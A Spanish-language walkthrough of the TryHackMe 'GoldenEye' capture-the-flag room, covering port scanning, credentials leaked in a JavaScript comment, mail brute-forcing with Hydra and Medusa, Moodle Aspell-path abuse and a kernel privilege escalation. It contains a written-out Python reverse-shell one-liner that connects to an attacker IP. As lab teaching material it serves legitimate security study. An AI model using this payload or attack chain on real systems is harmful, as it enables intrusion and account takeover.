XUT_ / MACHINES / THM

0075

GoldenEye

THMMACHINENONEMEDIUM

Introduction

goldeneye

Bond, James Bond. Un CTF Guiado.

Intro and Enumeration

Esta es la primera parte del reto. En ella se nos pide resolver una serie de cuestiones:

  1. Usa Nmap para escanear la red en busca de todos los puertos. ¿Cuántos hay abiertos?

Comenzamos realizando el escaneo de puertos que siempre hacemos.

goldeneye

  1. ¿Quién necesita asegurarse de que actualiza su contraseña por defecto?

Para seguir vamos a escanear dichos puertos más en profundidad.

goldeneye

Vamos a ver qué directorios hay en la web.

goldeneye

No parece haber nada, vamos a ver cómo se ve la web.

goldeneye

Nos están dando un directorio. Pero antes de ir, vamos a mirar el código fuente.

goldeneye

A priori no parece haber nada, pero si nos fijamos hay un script JS que se está cargando, vamos a ver de qué se trata.

goldeneye

En los comentarios del script podemos ver el nombre de esta persona y su contraseña.

  1. ¿Cuál es su contraseña?

La contraseña parece estar encodeada con entidades HTML combinado con ASCII. Si buscamos la cadena en el navegador se traduce sola.

goldeneye

It's mail time...

Vamos ahora con la segunda parte del reto. En esta se nos dan otra serie de preguntas a resolver.

Si iniciamos sesión en el directorio del login que nos dieron con las credenciales que obtuvimos ganamos acceso a esto:

goldeneye

  1. Si las credenciales que has obtenido no funcionan (en otros servicios), ¿puedes usar otro programa para encontrar otros usuarios y contraseñas? ¿Puede que Hydra? ¿Cuál es su nueva contraseña?

goldeneye

Parece que boris cambió su contraseña. Vamos a ver si podemos hacer fuerza bruta con Hydra.

Después de mucho rato probando con hydra y que no funcionara, me cansé y decidir probar con otras herramientas que no conocía: medusa y ncrack. Medusa fue mucho más rápida que las otras dos pero los resultados no aparecen como en hydra sino que tienes que buscarlos.

goldeneye

  1. Inspecciona el puerto 55007, ¿qué servicio está configurado para usar este puerto?

Vamos a iniciar sesión y a ver lo que hay dentro.

goldeneye goldeneye

  1. ¿Qué puedes encontrar en este servicio?

Podemos encontrar emails.

  1. ¿Qué usuario puede romper los códigos de Boris?

Esto lo vimos en el script de la primera parte del reto. Pero se vuelve a repetir, es Natalya.

Después de todo este proceso hemos obtenido una lista de posibles nombres:

  • boris
  • natalya
  • root
  • alec
  • xenia
  • janus

Vamos a hacer una lista con esos nombres y a intentar conseguir sus credenciales.

goldeneye

Por algún motivo que desconozco hydra volvió a funcionar, y no seré yo el que se niegue a usarla xD. Vamos a entrar al correo de natalya.

goldeneye

GoldenEye Operators Training

En esta cuarta parte nos hacen más preguntas, aunque antes nos dicen por activa y por pasiva (tanto en el email como en la room) que necesitamos meter el dominio que nos han dado en el /etc/hosts, así que eso haremos. Una vez hecho procedemos a responder las preguntas.

  1. ¿Con qué usuario puedes iniciar sesión?

Con xenia, lo vimos en el correo.

  1. Mira por la web, ¿qué otro usuario puedes ver?

Después de añadir la dirección vamos a la dirección que nos dan.

goldeneye

Allí nos loggeamos.

goldeneye

Ahora toca buscar al otro usuario.

goldeneye

  1. ¿Cuál es la contraseña de ese usuario?

Vamos a usar hydra de nuevo.

goldeneye

  1. ¿Cuál es el siguiente usuario que puedes encontrar desde doak?

Si entramos a su correo podemos ver lo siguiente:

goldeneye

Encontrando el usuario y contraseña de la web. Una vez hemos entrado, buscamos en los archivos privados.

goldeneye

  1. ¿Cuál es la contraseña de este usuario?

Lo hemos visto en el email.

Ahora tenemos que mirar el archivo secreto.

goldeneye

Parece que hay credenciales en un directorio, vamos a ver.

goldeneye

Vamos a analizar la foto.

goldeneye

Encontramos las credenciales. Ahora vamos a iniciar sesión con dicha cuenta.

goldeneye

Nos vamos al editor de texto.

goldeneye

Seleccionamos PSpellShell y guardamos los cambios. Seleccionamos ahora System paths.

goldeneye

Y cambiamos el path de Aspell.

goldeneye

El payload que he usado es:

bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.196.119",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Lo he sacado de mi generador de reverse shells favorito: revshells.

Ahora añadimos una nueva entrada de blog.

goldeneye

Vamos a ponernos en escucha.

goldeneye

Y ahora escribimos algo en la entrada y le damos al botón de spell check.

goldeneye

Una vez le damos nos carga la shell.

goldeneye

La estabilizamos.

goldeneye

Ahora vamos a la siguiente parte.

Privilege Escalation

En esta última parte del reto nos piden resolver las siguientes cuestiones:

  1. ¿Cuál es la versión del kernel?

Para esto usamos el comando uname -a.

goldeneye

  1. ¿Cuál es la flag de root?

Siguiendo nuestra checklist, vemos que hay un exploit del kernel para este.

goldeneye

Nos descargamos el exploit y lo servimos.

goldeneye

Y ahora desde la máquina víctima lo descargamos.

goldeneye

Y lo ejecutamos.

goldeneye

Nos da problemas porque no encuentra gcc.

goldeneye

Sin embargo, clang sí que está instalado, usaremos este. Modificamos el exploit sustituyendo gcc por clang. Utilizamos este comando para ello.

goldeneye

Y lo volvemos a subir.

goldeneye

Y ahora leemos la flag.

goldeneye

Vamos a donde nos dicen.

goldeneye